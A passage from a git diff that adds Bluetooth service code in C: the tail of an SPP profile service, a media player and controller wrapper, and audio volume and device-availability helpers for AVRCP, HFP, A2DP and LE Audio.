server->scn, uuid_str); + } + if (i == 0) + printf("\tNo spp Server found\n"); + + i = 0; + list_for_every(&g_spp_handle.devices, node) + { + i++; + device = (spp_device_t*)node; + bt_addr_ba2str(&device->addr, addr_str); + if (server) + bt_uuid_to_string(&server->uuid, uuid_str, 40); + printf("\tDevice[%d]: ID:%d, Addr:%s, State:%d, Scn:%d, UUID:%s" PRIx16 + ", MFS:%d, Proxy:[%d,%s], Rx:%" PRIu32 ", Tx:%" PRIu32 "\n", + i, device->conn_id, addr_str, device->state, + device->scn, uuid_str, device->mfs, device->conn_port, + device->proxy_name, device->rx_bytes, device->tx_bytes); + } + + pthread_mutex_unlock(&g_spp_handle.spp_lock); + if (i == 0) + printf("\tNo spp device found\n"); + + return 0; +} + +static spp_interface_t sppInterface = { + .size = sizeof(sppInterface), + .register_app = spp_register_app, + .unregister_app = spp_unregister_app, + .server_start = spp_server_start, + .server_stop = spp_server_stop, + .connect = spp_connect, + .disconnect = spp_disconnect, +}; + +static const void* get_spp_profile_interface(void) +{ + return (void*)&sppInterface; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void spp_on_connection_state_changed(bt_address_t* addr, uint16_t conn_port, + profile_connection_state_t state) +{ + spp_msg_t* msg = malloc(sizeof(spp_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = STATE_CHANEG; + msg->state = state; + msg->port = conn_port; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(spp_service_event_process, msg); +} + +void spp_on_data_sent(uint16_t conn_port, uint8_t* buffer, uint16_t length, + uint16_t sent_length) +{ + spp_device_t* device; + spp_msg_t* msg; + + device = find_spp_device_by_conn(SERVICE_CONN_ID(conn_port)); + if (!device) { + BT_LOGE("%s port:%d not exist", __func__, conn_port); + return; + } + + msg = malloc(sizeof(spp_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = DATA_SENT; + msg->port = conn_port; + msg->length = length; + msg->sent_length = sent_length; + msg->buffer = buffer; + memcpy(&msg->addr, &device->addr, sizeof(bt_address_t)); + + do_in_service_loop(spp_service_event_process, msg); +} + +void spp_on_data_received(bt_address_t* addr, uint16_t conn_port, + uint8_t* buffer, uint16_t length) +{ + spp_msg_t* msg = malloc(sizeof(spp_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = DATA_RECEIVED; + msg->port = conn_port; + msg->length = length; + msg->buffer = buffer; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(spp_service_event_process, msg); +} + +void spp_on_server_recieve_connect_request(bt_address_t* addr, uint16_t scn) +{ + spp_msg_t* msg = malloc(sizeof(spp_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = CONN_REQ_RECEIVED; + msg->port = scn; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(spp_service_event_process, msg); +} + +void spp_on_connection_mfs_update(uint16_t conn_port, uint16_t mfs) +{ + spp_msg_t* msg = malloc(sizeof(spp_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = UPDATE_MFS; + msg->port = conn_port; + msg->length = mfs; + + do_in_service_loop(spp_service_event_process, msg); +} + +static const profile_service_t spp_service = { + .auto_start = true, + .name = PROFILE_SPP_NAME, + .id = PROFILE_SPP, + .transport = BT_TRANSPORT_BREDR, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = spp_init, + .startup = spp_startup, + .shutdown = spp_shutdown, + .process_msg = spp_process_msg, + .get_state = spp_get_state, + .get_profile_interface = get_spp_profile_interface, + .cleanup = spp_cleanup, + .dump = spp_dump, +}; + +void register_spp_service(void) +{ + register_service(&spp_service); +} diff --git a/service/profiles/system/bt_player.c b/service/profiles/system/bt_player.c new file mode 100644 index 0000000000000000000000000000000000000000..642c22046a548efcea13bc66e0cae3b943838403 --- /dev/null +++ b/service/profiles/system/bt_player.c @@ -0,0 +1,393 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> + +#include <media_api.h> + +#include <bt_player.h> +#include <bt_utils.h> + +#include "bt_dfx.h" +#include "utils/log.h" + +typedef struct bt_media_controller { + void* mediasession; + void* holder; + bt_media_notify_callback_t cb; +} bt_media_controller_t; + +typedef struct bt_media_player { + void* mediasession; + void* context; + bt_media_status_t play_status; + bt_media_player_callback_t* cb; +} bt_media_player_t; + +static void notify_media_event(bt_media_controller_t* controller, + bt_media_event_t event, + uint32_t value) +{ + if (controller->cb) + controller->cb(controller, controller->holder, event, value); +} + +static bt_media_status_t media_state_to_playback_status(int media_state) +{ + bt_media_status_t playback_status; + + if (media_state > 0) { /* Active */ + playback_status = BT_MEDIA_PLAY_STATUS_PLAYING; + } else if (media_state == 0) { /* Inactive */ + playback_status = BT_MEDIA_PLAY_STATUS_PAUSED; + } else { /* Error */ + playback_status = BT_MEDIA_PLAY_STATUS_ERROR; + } + BT_LOGD("%s, media_state:%d, playback_status:%d ", __func__, media_state, playback_status); + + return playback_status; +} + +static void media_session_event_cb(void* cookie, int event, int ret, + const char* extra) +{ + bt_media_controller_t* controller = cookie; + int status; + int media_state; + + switch (event) { + case MEDIA_EVENT_START: + notify_media_event(controller, BT_MEDIA_EVT_PLAYSTATUS_CHANGED, BT_MEDIA_PLAY_STATUS_PLAYING); + break; + case MEDIA_EVENT_PAUSE: + notify_media_event(controller, BT_MEDIA_EVT_PLAYSTATUS_CHANGED, BT_MEDIA_PLAY_STATUS_PAUSED); + break; + case MEDIA_EVENT_STOP: + notify_media_event(controller, BT_MEDIA_EVT_PLAYSTATUS_CHANGED, BT_MEDIA_PLAY_STATUS_STOPPED); + break; + case MEDIA_EVENT_PREV_SONG: + notify_media_event(controller, BT_MEDIA_EVT_PLAYSTATUS_CHANGED, BT_MEDIA_PLAY_STATUS_REV_SEEK); + break; + case MEDIA_EVENT_NEXT_SONG: + notify_media_event(controller, BT_MEDIA_EVT_PLAYSTATUS_CHANGED, BT_MEDIA_PLAY_STATUS_FWD_SEEK); + break; + case MEDIA_EVENT_UPDATED: + case MEDIA_EVENT_CHANGED: + if (ret & MEDIA_METAFLAG_STATE) { + /* playback status changed */ + status = media_session_get_state(controller->mediasession, &media_state); + if (status != 0) { + BT_LOGE("%s, faild to get media state", __func__); + return; + } + + notify_media_event(controller, BT_MEDIA_EVT_PLAYSTATUS_CHANGED, + media_state_to_playback_status(media_state)); + } + break; + default: + return; + } +} + +char* bt_media_evt_str(bt_media_event_t evt) +{ + switch (evt) { + CASE_RETURN_STR(BT_MEDIA_EVT_PREPARED); + CASE_RETURN_STR(BT_MEDIA_EVT_PLAYSTATUS_CHANGED); + CASE_RETURN_STR(BT_MEDIA_EVT_POSITION_CHANGED); + CASE_RETURN_STR(BT_MEDIA_EVT_TRACK_CHANGED); + default: + return "ERROR"; + } +} + +char* bt_media_status_str(uint8_t status) +{ + switch (status) { + case BT_MEDIA_PLAY_STATUS_STOPPED: + return "STOPPED"; + case BT_MEDIA_PLAY_STATUS_PLAYING: + return "PLAYING"; + case BT_MEDIA_PLAY_STATUS_PAUSED: + return "PAUSED"; + case BT_MEDIA_PLAY_STATUS_FWD_SEEK: + return "FWD_SEEK"; + case BT_MEDIA_PLAY_STATUS_REV_SEEK: + return "PREV_SEEK"; + default: + return "ERROR"; + } +} + +bt_media_controller_t* bt_media_controller_create(void* context, bt_media_notify_callback_t cb) +{ + bt_media_controller_t* controller = malloc(sizeof(*controller)); + int ret = 0; + + if (controller == NULL) + return NULL; + + controller->mediasession = media_session_open(NULL); + if (!controller->mediasession) { + free(controller); + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_OPEN_FAIL); + return NULL; + } + + ret = media_session_set_event_callback(controller->mediasession, + controller, media_session_event_cb); + if (ret != 0) { + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_SET_EVENT_CB_FAIL); + media_session_close(controller->mediasession); + free(controller); + return NULL; + } + controller->holder = context; + controller->cb = cb; + + return controller; +} + +void bt_media_controller_set_context(bt_media_controller_t* controller, void* context) +{ + controller->holder = context; +} + +void bt_media_controller_destory(bt_media_controller_t* controller) +{ + if (!controller) + return; + + media_session_close(controller->mediasession); + free(controller); +} + +bt_status_t bt_media_player_play(bt_media_controller_t* controller) +{ + if (!controller) + return BT_STATUS_PARM_INVALID; + + if (media_session_start(controller->mediasession) != 0) { + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_START_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_pause(bt_media_controller_t* controller) +{ + if (!controller) + return BT_STATUS_PARM_INVALID; + + if (media_session_pause(controller->mediasession) != 0) { + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_PAUSE_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_stop(bt_media_controller_t* controller) +{ + if (!controller) + return BT_STATUS_PARM_INVALID; + + if (media_session_stop(controller->mediasession) != 0) { + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_STOP_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_next(bt_media_controller_t* controller) +{ + if (!controller) + return BT_STATUS_PARM_INVALID; + + if (media_session_next_song(controller->mediasession) != 0) { + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_NEXT_SONG_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_prev(bt_media_controller_t* controller) +{ + if (!controller) + return BT_STATUS_PARM_INVALID; + + if (media_session_prev_song(controller->mediasession) != 0) { + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_SESSION_PREV_SONG_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_get_playback_status(bt_media_controller_t* controller, + bt_media_status_t* status) +{ + int state = 0; + + if (!controller || !status) + return BT_STATUS_PARM_INVALID; + + if (media_session_get_state(controller->mediasession, &state) != 0) { + *status = BT_MEDIA_PLAY_STATUS_STOPPED; + return BT_STATUS_NOT_SUPPORTED; + } + + *status = media_state_to_playback_status(state); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_get_position(bt_media_controller_t* controller, uint32_t* positions) +{ + if (!controller || !positions) + return BT_STATUS_PARM_INVALID; + + if (media_session_get_position(controller->mediasession, (unsigned int*)positions) != 0) { + *positions = 0xFFFFFFFF; + return BT_STATUS_NOT_SUPPORTED; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_get_durations(bt_media_controller_t* controller, uint32_t* durations) +{ + if (!controller || !durations) + return BT_STATUS_PARM_INVALID; + + if (media_session_get_duration(controller->mediasession, (unsigned int*)durations) != 0) { + *durations = 0xFFFFFFFF; + return BT_STATUS_NOT_SUPPORTED; + } + + return BT_STATUS_SUCCESS; +} + +static void media_control_event_cb(void* cookie, int event, + int ret, const char* extra) +{ + bt_media_player_t* player = cookie; + + switch (event) { + case MEDIA_EVENT_START: + player->cb->on_play(player, player->context); + break; + case MEDIA_EVENT_PAUSE: + player->cb->on_pause(player, player->context); + break; + case MEDIA_EVENT_STOP: + player->cb->on_stop(player, player->context); + break; + case MEDIA_EVENT_PREV_SONG: + player->cb->on_prev_song(player, player->context); + break; + case MEDIA_EVENT_NEXT_SONG: + player->cb->on_next_song(player, player->context); + break; + default: + break; + } +} + +bt_media_player_t* bt_media_player_create(void* context, bt_media_player_callback_t* cb) +{ + if (context == NULL || cb == NULL) + return NULL; + + bt_media_player_t* player = malloc(sizeof(*player)); + if (!player) + return NULL; + + player->mediasession = media_session_register(player, media_control_event_cb); + if (!player->mediasession) { + free(player); + BT_DFX_AVRCP_CTRL_ERROR(BT_DFXE_MEDIA_PLAYER_CREATE_FAIL); + return NULL; + } + player->cb = cb; + player->context = context; + player->play_status = BT_MEDIA_PLAY_STATUS_ERROR; + + return player; +} + +void bt_media_player_destory(bt_media_player_t* player) +{ + if (!player) + return; + + if (player->mediasession) { + media_session_notify(player->mediasession, MEDIA_EVENT_STOPPED, 0, NULL); + media_session_unregister(player->mediasession); + } + + free(player); +} + +bt_status_t bt_media_player_set_status(bt_media_player_t* player, bt_media_status_t status) +{ + int event; + + if (!player) + return BT_STATUS_PARM_INVALID; + + if (player->play_status == status) + return BT_STATUS_SUCCESS; + + switch (status) { + case BT_MEDIA_PLAY_STATUS_STOPPED: + event = MEDIA_EVENT_STOP; + break; + case BT_MEDIA_PLAY_STATUS_PLAYING: + event = MEDIA_EVENT_START; + break; + case BT_MEDIA_PLAY_STATUS_PAUSED: + event = MEDIA_EVENT_PAUSE; + break; + case BT_MEDIA_PLAY_STATUS_FWD_SEEK: + event = MEDIA_EVENT_NEXT_SONG; + break; + case BT_MEDIA_PLAY_STATUS_REV_SEEK: + event = MEDIA_EVENT_PREV_SONG; + break; + default: + return BT_STATUS_PARM_INVALID; + } + + media_session_notify(player->mediasession, event, 0, NULL); + player->play_status = status; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_player_set_duration(bt_media_player_t* player, uint32_t duration) +{ + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t bt_media_player_set_position(bt_media_player_t* player, uint32_t position) +{ + return BT_STATUS_NOT_SUPPORTED; +} diff --git a/service/profiles/system/bt_player.h b/service/profiles/system/bt_player.h new file mode 100644 index 0000000000000000000000000000000000000000..2f1386947ca8fa9f981ae35ff127c62ce412ac66 --- /dev/null +++ b/service/profiles/system/bt_player.h @@ -0,0 +1,72 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_PLAYER_H__ +#define __BT_PLAYER_H__ + +#include <bt_status.h> +typedef enum { + BT_MEDIA_PLAY_STATUS_STOPPED = 0, + BT_MEDIA_PLAY_STATUS_PLAYING, + BT_MEDIA_PLAY_STATUS_PAUSED, + BT_MEDIA_PLAY_STATUS_FWD_SEEK, + BT_MEDIA_PLAY_STATUS_REV_SEEK, + BT_MEDIA_PLAY_STATUS_ERROR, +} bt_media_status_t; + +typedef enum { + BT_MEDIA_EVT_PREPARED = 0, + BT_MEDIA_EVT_PLAYSTATUS_CHANGED, + BT_MEDIA_EVT_POSITION_CHANGED, + BT_MEDIA_EVT_TRACK_CHANGED, + BT_MEDIA_EVT_UNSUPPORT, +} bt_media_event_t; + +typedef struct bt_media_controller bt_media_controller_t; +typedef struct bt_media_player bt_media_player_t; + +typedef struct { + void (*on_prepare)(bt_media_player_t* player, void* context); + void (*on_play)(bt_media_player_t* player, void* context); + void (*on_pause)(bt_media_player_t* player, void* context); + void (*on_stop)(bt_media_player_t* player, void* context); + void (*on_next_song)(bt_media_player_t* player, void* context); + void (*on_prev_song)(bt_media_player_t* player, void* context); +} bt_media_player_callback_t; + +typedef void (*bt_media_notify_callback_t)(bt_media_controller_t* controller, void* context, + bt_media_event_t event, uint32_t value); + +char* bt_media_evt_str(bt_media_event_t evt); +char* bt_media_status_str(uint8_t status); +bt_media_controller_t* bt_media_controller_create(void* context, bt_media_notify_callback_t cb); +void bt_media_controller_set_context(bt_media_controller_t* controller, void* context); +void bt_media_controller_destory(bt_media_controller_t* controller); +bt_status_t bt_media_player_play(bt_media_controller_t* controller); +bt_status_t bt_media_player_pause(bt_media_controller_t* controller); +bt_status_t bt_media_player_stop(bt_media_controller_t* controller); +bt_status_t bt_media_player_next(bt_media_controller_t* controller); +bt_status_t bt_media_player_prev(bt_media_controller_t* controller); +bt_status_t bt_media_player_get_playback_status(bt_media_controller_t* controller, + bt_media_status_t* status); +bt_status_t bt_media_player_get_position(bt_media_controller_t* controller, uint32_t* positions); +bt_status_t bt_media_player_get_durations(bt_media_controller_t* controller, uint32_t* durations); + +bt_media_player_t* bt_media_player_create(void* context, bt_media_player_callback_t* cb); +void bt_media_player_destory(bt_media_player_t* player); +bt_status_t bt_media_player_set_status(bt_media_player_t* player, bt_media_status_t status); +bt_status_t bt_media_player_set_duration(bt_media_player_t* player, uint32_t duration); +bt_status_t bt_media_player_set_position(bt_media_player_t* player, uint32_t position); +#endif /* __BT_PLAYER_H__ */ \ No newline at end of file diff --git a/service/profiles/system/media_system.c b/service/profiles/system/media_system.c new file mode 100644 index 0000000000000000000000000000000000000000..44c5e53a15582f0f62d859c920231a2dcc1ad9ab --- /dev/null +++ b/service/profiles/system/media_system.c @@ -0,0 +1,405 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "bt_media" +#include <assert.h> +#include <math.h> +#include <stdint.h> +#include <stdlib.h> + +#include "bt_dfx.h" +#include "bt_status.h" +#include <media_api.h> + +#ifdef CONFIG_MICO_MEDIA_MAIN_PLAYER +#include "audio_manager_c.h" +#endif /* CONFIG_MICO_MEDIA_MAIN_PLAYER */ +#include "media_system.h" +#include "utils/log.h" + +#define MEDIA_POLICY_APPLY 1 + +#define AVRCP_MAX_ABSOLUTE_VOLUME 0x7F +#define MAX_HFP_SCO_VOICE_CALL_VOLUME 15 +#define MIN_HFP_SCO_VOICE_CALL_VOLUME 1 +#define UI_MAX_VOLUME 100 + +static int g_media_max_volume; +static int g_vc_max_volume = 15; // TODO: read via media_policy_get_range() +static int g_vc_min_volume = 1; // TODO: read via media_policy_get_range() + +typedef struct bt_media_listener { + void* policy_handle; + void* policy_cb; + void* context; +} bt_media_listener_t; + +#ifdef CONFIG_MICO_MEDIA_MAIN_PLAYER +static int media_volume_to_ui_volume(int volume) +{ + return (volume * UI_MAX_VOLUME) / g_media_max_volume; +} +#endif /* CONFIG_MICO_MEDIA_MAIN_PLAYER */ + +int bt_media_get_music_volume_range(void) +{ + int media_min_volume = 0; /* min volume of AVRCP must be 0. */ + int status; + + status = media_policy_get_range(MEDIA_STREAM_A2DP_SNK MEDIA_POLICY_VOLUME, &media_min_volume, &g_media_max_volume); + if (status) + BT_DFX_AVRCP_VOL_ERROR(BT_DFXE_GET_MEDIA_VOLUME_RANGE_FAIL); + + assert(!media_min_volume); + + return status; +} + +int bt_media_volume_avrcp_to_media(uint8_t volume) +{ + if (volume >= AVRCP_MAX_ABSOLUTE_VOLUME) { + return g_media_max_volume; + } + + int media_volume = (volume * g_media_max_volume + (AVRCP_MAX_ABSOLUTE_VOLUME >> 1)) / AVRCP_MAX_ABSOLUTE_VOLUME; + + return media_volume; +} + +uint8_t bt_media_volume_media_to_avrcp(int volume) +{ + if (volume <= 0) { + return 0; + } + + if (volume >= g_media_max_volume) { + return AVRCP_MAX_ABSOLUTE_VOLUME; + } + + int avrcp_volume = (volume * AVRCP_MAX_ABSOLUTE_VOLUME + (g_media_max_volume >> 1)) / g_media_max_volume; + + return avrcp_volume; +} + +int bt_media_volume_hfp_to_media(uint8_t hfp_volume) +{ + int media_range, hfp_range, media_offset, media_volume; + + if (hfp_volume <= MIN_HFP_SCO_VOICE_CALL_VOLUME) { + return g_vc_min_volume; + } + + if (hfp_volume >= MAX_HFP_SCO_VOICE_CALL_VOLUME) { + return g_vc_max_volume; + } + + media_range = g_vc_max_volume - g_vc_min_volume; + hfp_range = MAX_HFP_SCO_VOICE_CALL_VOLUME - MIN_HFP_SCO_VOICE_CALL_VOLUME; + media_offset = (media_range * (hfp_volume - MIN_HFP_SCO_VOICE_CALL_VOLUME)) / hfp_range; + media_volume = g_vc_min_volume + media_offset; + + return media_volume; +} + +uint8_t bt_media_volume_media_to_hfp(int media_volume) +{ + int media_range, hfp_range, hfp_offset; + uint8_t hfp_volume; + + if (media_volume <= g_vc_min_volume) { + return MIN_HFP_SCO_VOICE_CALL_VOLUME; + } + + if (media_volume >= g_vc_max_volume) { + return MAX_HFP_SCO_VOICE_CALL_VOLUME; + } + + media_range = (g_vc_max_volume > g_vc_min_volume) ? (g_vc_max_volume - g_vc_min_volume) : 1; + hfp_range = MAX_HFP_SCO_VOICE_CALL_VOLUME - MIN_HFP_SCO_VOICE_CALL_VOLUME; + hfp_offset = (hfp_range * (media_volume - g_vc_min_volume)) / media_range; + hfp_volume = MIN_HFP_SCO_VOICE_CALL_VOLUME + hfp_offset; + + return hfp_volume; +} + +void bt_media_remove_listener(void* handle) +{ + bt_media_listener_t* listener = (bt_media_listener_t*)handle; + if (!listener) + return; + + if (listener->policy_handle) { + media_policy_unsubscribe(listener->policy_handle); + listener->policy_handle = NULL; + } + + free(listener); +} + +bt_status_t bt_media_set_a2dp_available(void) +{ + int is_available = 0; + + /* check A2DP device is available */ + if (media_policy_is_devices_available(MEDIA_DEVICE_A2DP, &is_available) != 0) { + BT_DFX_A2DP_MEDIA_ERROR(BT_DFXE_GET_A2DP_AVAILABLE_FAIL); + return BT_STATUS_FAIL; + } + + if (is_available) { + BT_LOGI("a2dp device had set available !"); + return BT_STATUS_SUCCESS; + } + + /* set A2DP device available */ + if (media_policy_set_devices_available(MEDIA_DEVICE_A2DP) != 0) { + BT_DFX_A2DP_MEDIA_ERROR(BT_DFXE_SET_A2DP_AVAILABLE_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_a2dp_unavailable(void) +{ + int is_available = 0; + + /* check A2DP device is unavailable */ + if (media_policy_is_devices_available(MEDIA_DEVICE_A2DP, &is_available) != 0) + return BT_STATUS_FAIL; + + if (!is_available) { + BT_LOGI("a2dp device had set unavailable !"); + return BT_STATUS_SUCCESS; + } + + /* set A2DP device unavailable */ + if (media_policy_set_devices_unavailable(MEDIA_DEVICE_A2DP) != 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_hfp_samplerate(uint16_t samplerate) +{ + if (samplerate != 8000 && samplerate != 16000) + return BT_STATUS_PARM_INVALID; + + /* set hfp samplerate, dev/pcm1c/p device ioctl */ + if (media_policy_set_hfp_samplerate(samplerate) != 0) { + BT_DFX_HFP_MEDIA_ERROR(BT_DFXE_SET_HFP_SAMPLERATE_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void bt_media_policy_volume_change_callback(void* cookie, int number, const char* literal) +{ + bt_media_listener_t* listener = cookie; + if (listener && listener->policy_cb) + ((bt_media_voice_volume_change_callback_t)(listener->policy_cb))(listener->context, number); +} + +void* bt_media_listen_voice_call_volume_change(bt_media_voice_volume_change_callback_t cb, void* context) +{ + bt_media_listener_t* listener = malloc(sizeof(bt_media_listener_t)); + if (!listener) + return NULL; + + listener->context = context; + listener->policy_cb = cb; + listener->policy_handle = media_policy_subscribe(MEDIA_SCENARIO_INCALL MEDIA_POLICY_VOLUME, bt_media_policy_volume_change_callback, listener); + if (!listener->policy_handle) { + BT_LOGI("media policy subscribe(%s-%s) failed!", MEDIA_SCENARIO_INCALL, MEDIA_POLICY_VOLUME); + BT_DFX_HFP_VOL_ERROR(BT_DFXE_MEDIA_POLICY_SUBSCRIBE_FAIL); + free(listener); + listener = NULL; + } + + return listener; +} + +bt_status_t bt_media_get_voice_call_volume(int* volume) +{ + if (media_policy_get_stream_volume(MEDIA_SCENARIO_INCALL, volume) != 0) { + BT_DFX_HFP_VOL_ERROR(BT_DFXE_GET_VOICE_CALL_VOLUME_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_voice_call_volume(int volume) +{ + if (media_policy_set_stream_volume(MEDIA_SCENARIO_INCALL, volume) != 0) { + BT_DFX_HFP_VOL_ERROR(BT_DFXE_SET_VOICE_CALL_VOLUME_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_music_volume(int volume) +{ + bt_status_t status; + + status = media_policy_set_stream_volume(MEDIA_STREAM_A2DP_SNK, volume); + + if (status) { + BT_LOGE("set music stream volume fail: %d, status: %d", volume, status); + BT_DFX_AVRCP_VOL_ERROR(BT_DFXE_SET_MEDIA_VOLUME_FAIL); + return status; + } + +#ifdef CONFIG_MICO_MEDIA_MAIN_PLAYER + void* mAm = am_get_audio_manager("UIVOLUME"); + + if (mAm == 0) { + BT_LOGE("am_get_audio_manager err"); + return BT_STATUS_NO_RESOURCES; + } + + status = am_set_volume(mAm, AM_STREAM_TYPE_MEDIA, media_volume_to_ui_volume(volume)); + + if (status != 0) { + BT_DFX_AVRCP_VOL_ERROR(BT_DFXE_SET_UI_VOLUME_FAIL); + BT_LOGE("am_set_volume err, status: %d", status); + } + + if ((status = am_audio_manager_release(mAm)) != 0) { + BT_LOGE("am_audio_manager_release err, status: %d", status); + } +#endif /* CONFIG_MICO_MEDIA_MAIN_PLAYER */ + + return status; +} + +bt_status_t bt_media_get_music_volume(int* volume) +{ + if (media_policy_get_stream_volume(MEDIA_STREAM_A2DP_SNK, volume) != 0) { + BT_DFX_AVRCP_VOL_ERROR(BT_DFXE_GET_STREAM_VOLUME_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +void* bt_media_listen_music_volume_change(bt_media_voice_volume_change_callback_t cb, void* context) +{ + bt_media_listener_t* listener; + + listener = malloc(sizeof(bt_media_listener_t)); + if (!listener) + return NULL; + + listener->context = context; + listener->policy_cb = cb; + listener->policy_handle = media_policy_subscribe(MEDIA_STREAM_A2DP_SNK MEDIA_POLICY_VOLUME, bt_media_policy_volume_change_callback, listener); + + return listener; +} + +bt_status_t bt_media_set_sco_available(void) +{ + /* set SCO device available */ + if (media_policy_set_devices_available(MEDIA_DEVICE_SCO) != 0) { + BT_DFX_HFP_MEDIA_ERROR(BT_DFXE_SET_SCO_AVAILABLE_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_sco_unavailable(void) +{ + if (media_policy_set_devices_unavailable(MEDIA_DEVICE_SCO) != 0) { + BT_DFX_HFP_MEDIA_ERROR(BT_DFXE_SET_SCO_UNAVAILABLE_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_a2dp_offloading(bool enable) +{ + // todo set a2dp offload async + + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t bt_media_set_hfp_offloading(bool enable) +{ + // todo set hfp offload? + + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t bt_media_set_lea_available(void) +{ + int is_available = 0; + + /* check LEA device is available */ + if (media_policy_is_devices_available(MEDIA_DEVICE_BLE, &is_available) != 0) + return BT_STATUS_FAIL; + + if (is_available) { + BT_LOGI("lea device had set available !"); + return BT_STATUS_SUCCESS; + } + + /* set LEA device available */ + if (media_policy_set_devices_available(MEDIA_DEVICE_BLE) != 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_lea_unavailable(void) +{ + int is_available = 0; + + /* check LEA device is unavailable */ + if (media_policy_is_devices_available(MEDIA_DEVICE_BLE, &is_available) != 0) + return BT_STATUS_FAIL; + + if (!is_available) { + BT_LOGI("a2dp device had set unavailable !"); + return BT_STATUS_SUCCESS; + } + + /* set LEA device unavailable */ + if (media_policy_set_devices_unavailable(MEDIA_DEVICE_BLE) != 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_media_set_lea_offloading(bool enable) +{ + // todo set le audio offload? + + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t bt_media_set_anc_enable(bool enable) +{ + if (media_policy_set_int(MEDIA_POLICY_ANC_OFFLOAD_MODE, (int)enable, MEDIA_POLICY_APPLY) != 0) { + BT_DFX_HFP_MEDIA_ERROR(BT_DFXE_SET_ANC_ENABLE_FAIL); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/profiles/system/media_system.h b/service/profiles/system/media_system.h new file mode 100644 index 0000000000000000000000000000000000000000..d064b8691879536b8884fd81135783b3c2a6479c --- /dev/null +++ b/service/profiles/system/media_system.h @@ -0,0 +1,48 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" 